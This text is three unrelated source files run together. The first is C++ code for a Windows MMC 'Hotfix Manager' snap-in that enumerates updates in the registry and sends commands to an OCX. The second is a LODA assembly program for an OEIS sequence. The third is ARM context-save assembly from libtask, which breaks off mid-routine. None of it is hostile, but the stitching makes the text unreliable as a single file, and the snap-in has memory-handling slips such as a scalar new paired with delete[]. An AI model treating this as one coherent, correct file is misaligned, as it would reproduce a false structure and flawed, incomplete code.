HRESULT CHotfix_ManagerData::Notify( MMC_NOTIFY_TYPE event,
long arg,
long param,
IComponentData* pComponentData,
IComponent* pComponent,
DATA_OBJECT_TYPES type)
{
// Add code to handle the different notifications.
// Handle MMCN_SHOW and MMCN_EXPAND to enumerate children items.
// In response to MMCN_SHOW you have to enumerate both the scope
// and result pane items.
// For MMCN_EXPAND you only need to enumerate the scope items
// Use IConsoleNameSpace::InsertItem to insert scope pane items
// Use IResultData::InsertItem to insert result pane item.
HRESULT hr = E_NOTIMPL;
_ASSERTE(pComponentData != NULL || pComponent != NULL);
CComPtr<IConsole> spConsole;
CComQIPtr<IHeaderCtrl, &IID_IHeaderCtrl> spHeader;
if (pComponentData != NULL)
spConsole = ((CHotfix_Manager*)pComponentData)->m_spConsole;
else
{
spConsole = ((CHotfix_ManagerComponent*)pComponent)->m_spConsole;
spHeader = spConsole;
}
switch (event)
{
case MMCN_INITOCX:
{
// MessageBox(NULL,_T("Recieved init OCX"),NULL,MB_OK);
CComQIPtr<IDispatch,&IID_IDispatch> pDisp = (IUnknown *) param;
gpDisp = pDisp;
// MessageBox(NULL,m_szComputerName,_T("Init Ocx Sending"),MB_OK);
SendComputerName(m_szComputerName, gpDisp);
// MessageBox(NULL,_T("Setting ComputerNameSent to TRUE"),_T("ManagerData::Notify"),MB_OK);
ComputerNameSent = TRUE;
break;
}
/* case MMCN_CONTEXTHELP:
{
CComQIPtr<IDisplayHelp,&IID_IDisplayHelp> spHelp = spConsole;
spHelp->ShowTopic(CoTaskDupString(OLESTR("snapsamp.chm::/default.htm")));
hr = S_OK;
}
break;
*/
case MMCN_SHOW:
{
if (arg == TRUE)
{
IUnknown *pUnk;
if (gpDisp == NULL)
{
CComQIPtr<IResultData, &IID_IResultData> spResultData(spConsole);
spConsole->QueryResultView(&pUnk);
CComQIPtr<IDispatch,&IID_IDispatch> pDisp = pUnk;
gpDisp = pDisp;
}
EnterCriticalSection(&CritSec);
if (!ComputerNameSent)
{
SendComputerName(m_szComputerName,gpDisp);
// MessageBox(NULL,_T("Setting SentComputerName to TRUE:"), _T("ManagerData::Notify, Show"), MB_OK);
ComputerNameSent = TRUE;
// MessageBox(NULL,m_szComputerName,_T("Show Sending"),MB_OK);
}
LeaveCriticalSection(&CritSec);
EnterCriticalSection(&CritSec);
SendProductName(m_ProductName,gpDisp);
LeaveCriticalSection(&CritSec);
}
hr = S_OK;
break;
}
case MMCN_EXPAND:
{
HKEY hKLM = NULL;
HKEY hKey = NULL;
DWORD dwProductIndex = 0;
_TCHAR szProductName[255];
DWORD dwBufferSize = 255;
if (arg == TRUE)
{
gszManagerCtlDispatch = (IDispatch *) NULL;
//SendProductName(m_ProductName);
if ( !m_bChild)
{
if (!ComputerNameSent)
{
// MessageBox(NULL,_T("Expand Determining New ComputerName"),NULL,MB_OK);
// MessageBox(NULL,m_szComputerName,gszComputerName,MB_OK);
//_tcscpy(m_szComputerName,gszComputerName);
b_Expanded = FALSE;
}
}
if ( ( !m_bChild) && (!b_Expanded))
{
b_Expanded =TRUE;
// open the updates registry key and enumerate the children
// MessageBox(NULL,m_szComputerName,_T("Expand Connecting to "),MB_OK);
RegConnectRegistry(m_szComputerName,HKEY_LOCAL_MACHINE,&hKLM);
if (hKLM != NULL)
{
RegOpenKeyEx(hKLM,_T("SOFTWARE\\MICROSOFT\\UPDATES"),0,KEY_READ,&hKey);
if (hKey != NULL)
{
dwProductIndex = 0;
while (RegEnumKeyEx(hKey, dwProductIndex,szProductName, &dwBufferSize,0,NULL,NULL,NULL) != ERROR_NO_MORE_ITEMS)
{
CSnapInItem* m_pNode;
CComQIPtr<IConsoleNameSpace, &IID_IConsoleNameSpace> spConsoleNameSpace(spConsole);
// TODO : Enumerate scope pane items
SCOPEDATAITEM *pScopeData;
// MessageBox(NULL,szProductName,_T("Creating node"),MB_OK);
// MessageBox(NULL, m_szComputerName,_T("With computer Name"),MB_OK);
m_pNode = new CHotfix_ManagerData( szProductName,m_szComputerName, TRUE);
m_pNode->GetScopeData( &pScopeData );
pScopeData->cChildren = 0;
pScopeData->relativeID = param;
spConsoleNameSpace->InsertItem( pScopeData );
_tcscpy(szProductName,_T("\0"));
++dwProductIndex;
dwBufferSize = 255;
}
RegCloseKey(hKey);
RegCloseKey(hKLM);
}
}
// SendProductName(m_ProductName);
}
//gf_NewComputer = FALSE;
hr = S_OK;
}
break;
}
case MMCN_ADD_IMAGES:
{
// Add Images
IImageList* pImageList = (IImageList*) arg;
hr = E_FAIL;
// Load bitmaps associated with the scope pane
// and add them to the image list
// Loads the default bitmaps generated by the wizard
// Change as required
HBITMAP hBitmap16 = LoadBitmap(_Module.GetResourceInstance(), MAKEINTRESOURCE(IDB_HOTFIXMANAGER_16));
if (hBitmap16 != NULL)
{
HBITMAP hBitmap32 = LoadBitmap(_Module.GetResourceInstance(), MAKEINTRESOURCE(IDB_HOTFIXMANAGER_32));
if (hBitmap32 != NULL)
{
hr = pImageList->ImageListSetStrip((long*)hBitmap16,
(long*)hBitmap32, 0, RGB(0, 128, 128));
if (FAILED(hr))
ATLTRACE(_T("IImageList::ImageListSetStrip failed\n"));
}
}
break;
}
}
return hr;
}
LPOLESTR CHotfix_ManagerData::GetResultPaneColInfo(int nCol)
{
//if (nCol == 0)
// return m_bstrDisplayName;
LPOLESTR pStr = NULL;
switch ( nCol )
{
case 0:
pStr = m_bstrDisplayName;
break;
case 1:
pStr = m_bstrColumnType;
break;
case 2:
pStr = m_bstrColumnDesc;
break;
}
_ASSERTE( pStr != NULL );
return( pStr );
// TODO : Return the text for other columns
// return OLESTR("Override GetResultPaneColInfo");
}
HRESULT CHotfix_Manager::Initialize(LPUNKNOWN pUnknown)
{
HRESULT hr = IComponentDataImpl<CHotfix_Manager, CHotfix_ManagerComponent >::Initialize(pUnknown);
if (FAILED(hr))
return hr;
CComPtr<IImageList> spImageList;
if (m_spConsole->QueryScopeImageList(&spImageList) != S_OK)
{
ATLTRACE(_T("IConsole::QueryScopeImageList failed\n"));
return E_UNEXPECTED;
}
// Load bitmaps associated with the scope pane
// and add them to the image list
// Loads the default bitmaps generated by the wizard
// Change as required
HBITMAP hBitmap16 = LoadBitmap(_Module.GetResourceInstance(), MAKEINTRESOURCE(IDB_HOTFIXMANAGER_16));
if (hBitmap16 == NULL)
return S_OK;
HBITMAP hBitmap32 = LoadBitmap(_Module.GetResourceInstance(), MAKEINTRESOURCE(IDB_HOTFIXMANAGER_32));
if (hBitmap32 == NULL)
return S_OK;
if (spImageList->ImageListSetStrip((long*)hBitmap16,
(long*)hBitmap32, 0, RGB(0, 128, 128)) != S_OK)
{
ATLTRACE(_T("IImageList::ImageListSetStrip failed\n"));
return E_UNEXPECTED;
}
return S_OK;
}
//
// Retrieves the value of a given clipboard format from a given data object.
//
bool CHotfix_Manager::ExtractString( IDataObject* pDataObject, unsigned int cfClipFormat, LPTSTR pBuf, DWORD dwMaxLength)
{
USES_CONVERSION;
bool fFound = false;
FORMATETC formatetc = { (CLIPFORMAT) cfClipFormat, NULL, DVASPECT_CONTENT, -1, TYMED_HGLOBAL };
STGMEDIUM stgmedium = { TYMED_HGLOBAL, NULL };
stgmedium.hGlobal = ::GlobalAlloc( GMEM_SHARE, dwMaxLength * sizeof(TCHAR));
HRESULT hr;
do
{
//
// This is a memory error condition!
//
if ( NULL == stgmedium.hGlobal )
break;
hr = pDataObject->GetDataHere( &formatetc, &stgmedium );
if ( FAILED(hr) )
break;
LPWSTR pszNewData = reinterpret_cast<LPWSTR>( ::GlobalLock( stgmedium.hGlobal ) );
if ( NULL == pszNewData )
break;
pszNewData[ dwMaxLength - 1 ] = L'\0';
_tcscpy( pBuf, OLE2T( pszNewData ) );
fFound = true;
}
while( false );
if ( NULL != stgmedium.hGlobal )
{
GlobalUnlock( stgmedium.hGlobal );
GlobalFree( stgmedium.hGlobal );
}
_tcscpy (gszComputerName, pBuf);
return( fFound );
}
//
// Determines if the enumeration is for a remoted machine or not.
//
bool CHotfix_Manager::IsDataObjectRemoted( IDataObject* pDataObject )
{
bool fRemoted = false;
TCHAR szComputerName[ DNS_MAX_NAME_LENGTH + 1 ];
DWORD dwNameLength = (DNS_MAX_NAME_LENGTH + 1) * sizeof(TCHAR);
TCHAR szDataMachineName[ DNS_MAX_NAME_LENGTH + 1 ];
//
// Get local computer name.
//
GetComputerName(szComputerName, &dwNameLength);
//
// Get the machine name from the given data object.
//
if ( ExtractString( pDataObject, m_ccfRemotedFormat, szDataMachineName, DNS_MAX_NAME_LENGTH + 1 ) )
{
_toupper( szDataMachineName );
//
// Find the start of the server name.
//
LPTSTR pStr = szDataMachineName;
while ( pStr && *pStr == L'\\' )
pStr++;
//
// Compare the server name.
//
if ( pStr && *pStr && wcscmp( pStr, szComputerName ) != 0 )
fRemoted = true;
}
if (fRemoted)
_tcscpy (m_szComputerName, szDataMachineName);
else
_tcscpy (m_szComputerName, szComputerName);
return( fRemoted );
}
STDMETHODIMP CHotfix_ManagerData::GetResultViewType ( LPOLESTR* ppViewType, long* pViewOptions )
{
*pViewOptions = MMC_VIEW_OPTIONS_NOLISTVIEWS;
*ppViewType = _T("{883B970F-690C-45F2-8A3A-F4283E078118}");
return S_OK;
}
/////////////////////////////////////////////////////
//
// Dispatch interface of the OCX to send commands
//
/////////////////////////////////////////////////////
BOOL CHotfix_ManagerData::SendComputerName(_TCHAR *szDataMachineName, IDispatch * pDisp)
{
HRESULT hr;
// Ensure that we have a pointer to the OCX
if (pDisp == NULL ){
// MessageBox(NULL,_T("Failed to send Message"),NULL,MB_OK);
return( FALSE );
}
// get the OCX dispatch interface
CComPtr<IDispatch> pManagerCtlDispatch = pDisp;
// get the ID of the "ComputerName" interface
OLECHAR FAR* szMember = TEXT("ComputerName"); // maps this to "put_Command()"
DISPID dispid;
hr = pManagerCtlDispatch->GetIDsOfNames(
IID_NULL, // Reserved for future use. Must be IID_NULL.
&szMember, // Passed-in array of names to be mapped.
1, // Count of the names to be mapped.
LOCALE_USER_DEFAULT,// The locale context in which to interpret the names.
&dispid); // Caller-allocated array
if (!SUCCEEDED(hr)) {
// MessageBox(NULL,_T("Failed to send Message"),NULL,MB_OK);
return FALSE;
}
DISPID mydispid = DISPID_PROPERTYPUT;
VARIANTARG* pvars = new VARIANTARG;
VariantInit(&pvars[0]);
BSTR NewVal( szDataMachineName);
pvars[0].vt = VT_BSTR;
// pvars[0].iVal = (short)lparamCommand;
pvars[0].bstrVal = NewVal;
DISPPARAMS disp = { pvars, &mydispid, 1, 1 };
hr = pManagerCtlDispatch->Invoke(
dispid, // unique number identifying the method to invoke
IID_NULL, // Reserved. Must be IID_NULL
LOCALE_USER_DEFAULT, // A locale ID
DISPATCH_PROPERTYPUT, // flag indicating the context of the method to invoke
&disp, // A structure with the parameters to pass to the method
NULL, // The result from the calling method
NULL, // returned exception information
NULL); // index indicating the first argument that is in error
delete [] pvars;
if (!SUCCEEDED(hr)) {
// MessageBox(NULL,_T("Failed to send Message"),NULL,MB_OK);
return FALSE;
}
// MessageBox(NULL,_T("Message sent"),NULL,MB_OK);
return TRUE;
}
DWORD GetCtrlStatus()
{
DISPID dispid;
HRESULT hr;
DWORD Status = 0;
if ( gpDisp == NULL)
return FALSE;
// array of the interface names
OLECHAR FAR* szMember[1] = {
OLESTR("CurrentState")
};
hr = gpDisp->GetIDsOfNames(
IID_NULL, // Reserved for future use. Must be IID_NULL.
&szMember[0], // Passed-in array of names to be mapped.
1/*INTERFACE_COUNT*/, // Count of the names to be mapped.
LOCALE_USER_DEFAULT,// The locale context in which to interpret the names.
&dispid); // Caller-allocated array (see help for details)
if (!SUCCEEDED(hr)) {
// MessageBox(NULL,_T("Failed to get Dispatch pointer"),NULL,MB_OK);
return FALSE;
}
VARIANT varResult;
VariantInit(&varResult);
V_VT(&varResult) = VT_I2;
DISPPARAMS dispparamsNoArgs = {NULL, NULL, 0, 0};
hr = gpDisp->Invoke(
dispid, // unique number identifying the method to invoke
IID_NULL, // Reserved. Must be IID_NULL
LOCALE_USER_DEFAULT, // A locale ID
DISPATCH_PROPERTYGET, // flag indicating the context of the method to invoke
&dispparamsNoArgs, // A structure with the parameters to pass to the method
&varResult, // The result from the calling method
NULL, // returned exception information
NULL); // index indicating the first argument that is in error
if (!SUCCEEDED(hr)) {
// MessageBox(NULL,_T("Failed To Get Value"),NULL,MB_OK);
return FALSE;
}
// return varResult.bVal;
Status = varResult.lVal;
//delete [] pvars;
_TCHAR Message[100];
_stprintf(Message,_T("%d"),Status);
// MessageBox(NULL, Message, _T("Returned Status"),MB_OK);
return Status;
}
BOOL CHotfix_ManagerData::SendProductName(_TCHAR *szProductName, IDispatch * pDisp)
{
HRESULT hr;
if ( pDisp == NULL ){
return( FALSE );
}
// get the OCX dispatch interface
CComPtr<IDispatch> pManagerCtlDispatch = pDisp;
// get the ID of the "ComputerName" interface
OLECHAR FAR* szMember = TEXT("ProductName"); // maps this to "put_Command()"
DISPID dispid;
hr = pManagerCtlDispatch->GetIDsOfNames(
IID_NULL, // Reserved for future use. Must be IID_NULL.
&szMember, // Passed-in array of names to be mapped.
1, // Count of the names to be mapped.
LOCALE_USER_DEFAULT,// The locale context in which to interpret the names.
&dispid); // Caller-allocated array
if (!SUCCEEDED(hr)) {
// MessageBox(NULL,_T("Failed to send Message"),NULL,MB_OK);
return FALSE;
}
DISPID mydispid = DISPID_PROPERTYPUT;
VARIANTARG* pvars = new VARIANTARG;
VariantInit(&pvars[0]);
BSTR NewVal( szProductName);
pvars[0].vt = VT_BSTR;
// pvars[0].iVal = (short)lparamCommand;
pvars[0].bstrVal = NewVal;
DISPPARAMS disp = { pvars, &mydispid, 1, 1 };
hr = pManagerCtlDispatch->Invoke(
dispid, // unique number identifying the method to invoke
IID_NULL, // Reserved. Must be IID_NULL
LOCALE_USER_DEFAULT, // A locale ID
DISPATCH_PROPERTYPUT, // flag indicating the context of the method to invoke
&disp, // A structure with the parameters to pass to the method
NULL, // The result from the calling method
NULL, // returned exception information
NULL); // index indicating the first argument that is in error
delete [] pvars;
if (!SUCCEEDED(hr)) {
return FALSE;
}
return TRUE;
}
BOOL CHotfix_ManagerData::SendCommand(LPARAM lparamCommand)
{
HRESULT hr;
// Ensure that we have a pointer to the OCX
if ( gpDisp == NULL ){
return( FALSE );
}
// get the OCX dispatch interface
CComPtr<IDispatch> pManagerCtlDispatch = gpDisp;
// get the ID of the "Command" interface
OLECHAR FAR* szMember = TEXT("Command"); // maps this to "put_Command()"
DISPID dispid;
hr = pManagerCtlDispatch->GetIDsOfNames(
IID_NULL, // Reserved for future use. Must be IID_NULL.
&szMember, // Passed-in array of names to be mapped.
1, // Count of the names to be mapped.
LOCALE_USER_DEFAULT,// The locale context in which to interpret the names.
&dispid); // Caller-allocated array
if (!SUCCEEDED(hr)) {
return FALSE;
}
DISPID mydispid = DISPID_PROPERTYPUT;
VARIANTARG* pvars = new VARIANTARG;
VariantInit(&pvars[0]);
pvars[0].vt = VT_I2;
pvars[0].iVal = (short)lparamCommand;
DISPPARAMS disp = { pvars, &mydispid, 1, 1 };
hr = pManagerCtlDispatch->Invoke(
dispid, // unique number identifying the method to invoke
IID_NULL, // Reserved. Must be IID_NULL
LOCALE_USER_DEFAULT, // A locale ID
DISPATCH_PROPERTYPUT, // flag indicating the context of the method to invoke
&disp, // A structure with the parameters to pass to the method
NULL, // The result from the calling method
NULL, // returned exception information
NULL); // index indicating the first argument that is in error
delete [] pvars;
if (!SUCCEEDED(hr)) {
return FALSE;
}
return TRUE;
}
///////////////////////////////////
// IExtendContextMenu::Command()
STDMETHODIMP CHotfix_ManagerData::Command(long lCommandID,
CSnapInObjectRootBase* pObj,
DATA_OBJECT_TYPES type)
{
// Handle each of the commands.
switch (lCommandID) {
case ID_VIEW_BY_FILE:
// MessageBox(NULL,_T("Sending View By File"),NULL,MB_OK);
SendCommand(IDC_VIEW_BY_FILE);
m_dwCurrentView = IDC_VIEW_BY_FILE;
break;
case ID_VIEW_BY_KB:
SendCommand(IDC_VIEW_BY_HOTFIX);
m_dwCurrentView = IDC_VIEW_BY_HOTFIX;
break;
case ID_UNINSTALL:
SendCommand(IDC_UNINSTALL);
break;
case ID_VIEW_WEB:
SendCommand(IDC_VIEW_WEB);
break;
case ID_PRINT_REPORT:
SendCommand(IDC_PRINT_REPORT);
break;
case ID_EXPORT:
SendCommand(IDC_EXPORT);
break;
default:
break;
}
return S_OK;
}
HRESULT CHotfix_ManagerExtData::Notify( MMC_NOTIFY_TYPE event,
long arg,
long param,
IComponentData* pComponentData,
IComponent* pComponent,
DATA_OBJECT_TYPES type)
{
// Add code to handle the different notifications.
// Handle MMCN_SHOW and MMCN_EXPAND to enumerate children items.
// In response to MMCN_SHOW you have to enumerate both the scope
// and result pane items.
// For MMCN_EXPAND you only need to enumerate the scope items
// Use IConsoleNameSpace::InsertItem to insert scope pane items
// Use IResultData::InsertItem to insert result pane item.
HRESULT hr = E_NOTIMPL;
bool fRemoted = false;
_ASSERTE( pComponentData != NULL || pComponent != NULL );
CComPtr<IConsole> spConsole;
if ( pComponentData != NULL )
{
CHotfix_Manager* pExt = (CHotfix_Manager*) pComponentData;
spConsole = pExt->m_spConsole;
//
// Determine if we're remoted.
//
fRemoted = pExt->IsRemoted();
}
else
{
spConsole = ( (CHotfix_ManagerComponent*) pComponent )->m_spConsole;
}
switch ( event )
{
case MMCN_SHOW:
arg = arg;
hr = S_OK;
break;
case MMCN_EXPAND:
{
if ( arg == TRUE )
{
CComQIPtr<IConsoleNameSpace, &IID_IConsoleNameSpace> spConsoleNameSpace(spConsole);
SCOPEDATAITEM* pScopeData;
DWORD dwSize = 255;
if (!_tcscmp(gszComputerName,_T("\0")))
GetComputerName(gszComputerName,&dwSize);
m_pNode = new CHotfix_ManagerData( NULL,gszComputerName, FALSE);
m_pNode->GetScopeData( &pScopeData );
pScopeData->relativeID = param;
spConsoleNameSpace->InsertItem( pScopeData );
if ( pComponentData )
( (CHotfix_Manager*) pComponentData )->m_pNode = m_pNode;
}
hr = S_OK;
break;
}
case MMCN_REMOVE_CHILDREN:
{
//
// We are not deleting this node since this same pointer is
// stashed in the pComponentData in response to the MMCN_EXPAND
// notification. The destructor of pComponentData deletes the pointer
// to this node.
//
//delete m_pNode;
m_pNode = NULL;
hr = S_OK;
break;
}
case MMCN_ADD_IMAGES:
{
}
}
return S_OK;
}
STDMETHODIMP CHotfix_ManagerComponent::Command(long lCommandID, LPDATAOBJECT pDataObject)
{
HRESULT hr;
if ( IS_SPECIAL_DATAOBJECT( pDataObject ) )
{
hr = m_pComponentData->m_pNode->Command( lCommandID, this, CCT_RESULT );
}
else
{
hr = IExtendContextMenuImpl<CHotfix_Manager>::Command( lCommandID, pDataObject );
}
return( hr );
}
STDMETHODIMP CHotfix_ManagerData::AddMenuItems(
LPCONTEXTMENUCALLBACK pContextMenuCallback,
long *pInsertionAllowed,
DATA_OBJECT_TYPES type)
{
DWORD Status = GetCtrlStatus();
HRESULT hr = S_OK;
// Note - snap-ins need to look at the data object and determine
// in what context, menu items need to be added. They must also
// observe the insertion allowed flags to see what items can be
// added.
/* handy comment:
typedef struct _CONTEXTMENUITEM
{
LPWSTR strName;
LPWSTR strStatusBarText;
LONG lCommandID;
LONG lInsertionPointID;
LONG fFlags;
LONG fSpecialFlags;
} CONTEXTMENUITEM;
*/
CONTEXTMENUITEM singleMenuItem;
TCHAR menuText[200];
TCHAR statusBarText[300];
singleMenuItem.strName = menuText;
singleMenuItem.strStatusBarText = statusBarText;
singleMenuItem.fFlags = 0;
singleMenuItem.fSpecialFlags = 0;
// Add each of the items to the Action menu
if (*pInsertionAllowed & CCM_INSERTIONALLOWED_TOP) {
// setting for the Action menu
singleMenuItem.lInsertionPointID = CCM_INSERTIONPOINTID_PRIMARY_TOP;
singleMenuItem.lCommandID = ID_VIEW_WEB;
if (Status & HOTFIX_SELECTED)
singleMenuItem.fFlags = MF_ENABLED;
else
singleMenuItem.fFlags = MF_GRAYED;
LoadString(_Module.GetResourceInstance(), IDS_VIEW_WEB, menuText, sizeof(menuText) / sizeof(TCHAR));
LoadString(_Module.GetResourceInstance(), IDS_VIEW_WEB_STATUS_BAR, statusBarText, sizeof(statusBarText) / sizeof(TCHAR));
hr = pContextMenuCallback->AddItem(&singleMenuItem);
singleMenuItem.lCommandID = ID_UNINSTALL;
if (Status & UNINSTALL_OK)
singleMenuItem.fFlags = MF_ENABLED;
else
singleMenuItem.fFlags = MF_GRAYED;
LoadString(_Module.GetResourceInstance(), IDS_UNINSTALL, menuText, sizeof(menuText) / sizeof(TCHAR));
LoadString(_Module.GetResourceInstance(), IDS_UNINSTALL_STATUS_BAR, statusBarText, sizeof(statusBarText) / sizeof(TCHAR));
hr = pContextMenuCallback->AddItem(&singleMenuItem);
if (Status & DATA_TO_SAVE)
{
singleMenuItem.lCommandID = ID_EXPORT;
singleMenuItem.fFlags = MF_ENABLED;
LoadString(_Module.GetResourceInstance(), IDS_EXPORT, menuText, sizeof(menuText) / sizeof(TCHAR));
LoadString(_Module.GetResourceInstance(), IDS_EXPORT_STATUS_BAR, statusBarText, sizeof(statusBarText) / sizeof(TCHAR));
hr = pContextMenuCallback->AddItem(&singleMenuItem);
singleMenuItem.lCommandID = ID_PRINT_REPORT;
singleMenuItem.fFlags = MF_ENABLED;
LoadString(_Module.GetResourceInstance(), IDS_PRINT_REPORT, menuText, sizeof(menuText) / sizeof(TCHAR));
LoadString(_Module.GetResourceInstance(), IDS_PRINT_REPORT_STATUS_BAR, statusBarText, sizeof(statusBarText) / sizeof(TCHAR));
hr = pContextMenuCallback->AddItem(&singleMenuItem);
}
else
{
singleMenuItem.lCommandID = ID_EXPORT;
singleMenuItem.fFlags = MF_GRAYED;
LoadString(_Module.GetResourceInstance(), IDS_EXPORT, menuText, sizeof(menuText) / sizeof(TCHAR));
LoadString(_Module.GetResourceInstance(), IDS_EXPORT_STATUS_BAR, statusBarText, sizeof(statusBarText) / sizeof(TCHAR));
hr = pContextMenuCallback->AddItem(&singleMenuItem);
singleMenuItem.lCommandID = ID_PRINT_REPORT;
singleMenuItem.fFlags = MF_GRAYED;
LoadString(_Module.GetResourceInstance(), IDS_PRINT_REPORT, menuText, sizeof(menuText) / sizeof(TCHAR));
LoadString(_Module.GetResourceInstance(), IDS_PRINT_REPORT_STATUS_BAR, statusBarText, sizeof(statusBarText) / sizeof(TCHAR));
hr = pContextMenuCallback->AddItem(&singleMenuItem);
}
}
return S_OK;
}
STDMETHODIMP CHotfix_ManagerComponent::AddMenuItems(LPDATAOBJECT pDataObject, LPCONTEXTMENUCALLBACK piCallback,long *pInsertionAllowed)
{
HRESULT hr;
if ( IS_SPECIAL_DATAOBJECT( pDataObject ) )
{
}
else
{
CONTEXTMENUITEM singleMenuItem;
TCHAR menuText[200];
TCHAR statusBarText[300];
DWORD State = GetCtrlStatus();
//
// Retrieve the control from the current component.
//
// assert( m_pComponent != NULL );
// CComPtr<IDispatch> spDispCtl = m_pComponent->GetControl();
singleMenuItem.strName = menuText;
singleMenuItem.strStatusBarText = statusBarText;
singleMenuItem.fFlags = 0;
singleMenuItem.fSpecialFlags = 0;
// Add each of the items to the Action menu
if (*pInsertionAllowed & CCM_INSERTIONALLOWED_VIEW)
{
singleMenuItem.lInsertionPointID = CCM_INSERTIONPOINTID_PRIMARY_VIEW;
singleMenuItem.lCommandID = ID_VIEW_BY_KB ;
if ( State & STATE_VIEW_HOTFIX)
singleMenuItem.fFlags = MF_CHECKED;
else
singleMenuItem.fFlags = MF_UNCHECKED;
LoadString(_Module.GetResourceInstance(), IDS_BY_KB_ARTICLE, menuText, sizeof(menuText) / sizeof(TCHAR));
LoadString(_Module.GetResourceInstance(), IDS_BY_KB_ARTICLE_STATUS_BAR, statusBarText, sizeof(statusBarText) / sizeof(TCHAR));
hr = piCallback->AddItem(&singleMenuItem);
// setting for the Action menu
singleMenuItem.lInsertionPointID = CCM_INSERTIONPOINTID_PRIMARY_VIEW;
singleMenuItem.lCommandID = ID_VIEW_BY_FILE;
if ( State & STATE_VIEW_FILE )
singleMenuItem.fFlags = MF_CHECKED ;
else
singleMenuItem.fFlags = MF_UNCHECKED ;
LoadString(_Module.GetResourceInstance(), IDS_VIEW_BY_FILE, menuText, sizeof(menuText) / sizeof(TCHAR));
LoadString(_Module.GetResourceInstance(), IDS_BY_FILE_STATUS_BAR, statusBarText, sizeof(statusBarText) / sizeof(TCHAR));
hr = piCallback->AddItem(&singleMenuItem);
hr = IExtendContextMenuImpl<CHotfix_Manager>::AddMenuItems( pDataObject, piCallback, pInsertionAllowed );
// setting for the Action menu
/* singleMenuItem.lInsertionPointID = CCM_INSERTIONPOINTID_PRIMARY_TOP;
singleMenuItem.lCommandID = IDM_VIEW_WEB;
if (HaveHotfix)
singleMenuItem.fFlags = MF_ENABLED;
else
singleMenuItem.fFlags = MF_GRAYED;
LoadString(_Module.GetResourceInstance(), IDS_VIEW_WEB, menuText, sizeof(menuText) / sizeof(TCHAR));
LoadString(_Module.GetResourceInstance(), IDS_VIEW_WEB_STATUS_BAR, statusBarText, sizeof(statusBarText) / sizeof(TCHAR));
hr = piCallback->AddItem(&singleMenuItem);
// singleMenuItem.lInsertionPointID = CCM_INSERTIONPOINTID_PRIMARY_VIEW;
singleMenuItem.lCommandID = IDM_UNINSTALL;
// singleMenuItem.fFlags = analyzeFlags;
if ((!Remote) && (HaveHotfix))
singleMenuItem.fFlags = MF_ENABLED;
else
singleMenuItem.fFlags = MF_GRAYED;
LoadString(_Module.GetResourceInstance(), IDS_UNINSTALL, menuText, sizeof(menuText) / sizeof(TCHAR));
LoadString(_Module.GetResourceInstance(), IDS_UNINSTALL_STATUS_BAR, statusBarText, sizeof(statusBarText) / sizeof(TCHAR));
hr = piCallback->AddItem(&singleMenuItem);
// singleMenuItem.lInsertionPointID = CCM_INSERTIONPOINTID_PRIMARY_VIEW;
singleMenuItem.lCommandID = IDM_GENERATE_REPORT;
singleMenuItem.fFlags = MF_ENABLED;
LoadString(_Module.GetResourceInstance(), IDS_GENERATE_REPORT, menuText, sizeof(menuText) / sizeof(TCHAR));
LoadString(_Module.GetResourceInstance(), IDS_GENERATE_REPORT_STATUS_BAR, statusBarText, sizeof(statusBarText) / sizeof(TCHAR));
hr = piCallback->AddItem(&singleMenuItem); */
}
// hr = m_pComponentData->m_pNode->AddMenuItems( piCallback, pInsertionAllowed, CCT_RESULT );
}
return( hr );
} |
; A285957: {01->0}-transform of the Thue-Morse word A010060.
; Submitted by Jon Maiga
; 0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0
mul $0,2
add $0,1
seq $0,171947 ; P-positions for game of UpMark.
div $0,2
sub $0,1
mod $0,2
|
/* Extract of libtask, just the ARM specific portions. */
/*
This software was developed as part of a project at MIT.
Copyright (c) 2005-2007 Russ Cox,
Massachusetts Institute of Technology
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
===
Contains parts of an earlier library that has:
* The authors of this software are Rob Pike, Sape Mullender, and Russ Cox
* Copyright (c) 2003 by Lucent Technologies.
* Permission to use, copy, modify, and distribute this software for any
* purpose without fee is hereby granted, provided that this entire notice
* is included in all copies of any software which is or includes a copy
* or modification of this software and in all copies of the supporting
* documentation for such software.
* THIS SOFTWARE IS BEING PROVIDED "AS IS", WITHOUT ANY EXPRESS OR IMPLIED
* WARRANTY. IN PARTICULAR, NEITHER THE AUTHORS NOR LUCENT TECHNOLOGIES MAKE ANY
* REPRESENTATION OR WARRANTY OF ANY KIND CONCERNING THE MERCHANTABILITY
* OF THIS SOFTWARE OR ITS FITNESS FOR ANY PARTICULAR PURPOSE.
*/
.globl getmcontext
getmcontext:
str r1, [r0,#4]
str r2, [r0,#8]
str r3, [r0,#12]
str r4, [r0,#16]
str r5, [r0,#20]
str r6, [r0,#24]
str r7, [r0,#28]
str r8, [r0,#32]
str r9, [r0,#36]
str r10, [r0,#40]
str r11, [r0,#44]
str r12, [r0,#48]
str r13, [r0,#52]
str r14, [r0,#56]
/* store 1 as r0-to-restore */
mov r1, #1
str r1, [r0]
/* return 0 */
mov r0, #0
mov pc, lr
.globl setmcontext
setmcontext:
ldr r1, [r0,#4]
ldr r2, [r0,#8]
ldr r3, [r0,#12]
ldr r4, [r0,#16]
ldr r5, [r0,#20]
ldr r6, [r0,#24]
ldr r7, [r0,#28]
ldr r8, [r0,#32]
ldr r9, [r0,#36]
ldr r10, [r0,#40]
ldr r11, [r0,#44]
ldr r12, [r0,#48]
ldr r13, [r0,#52]
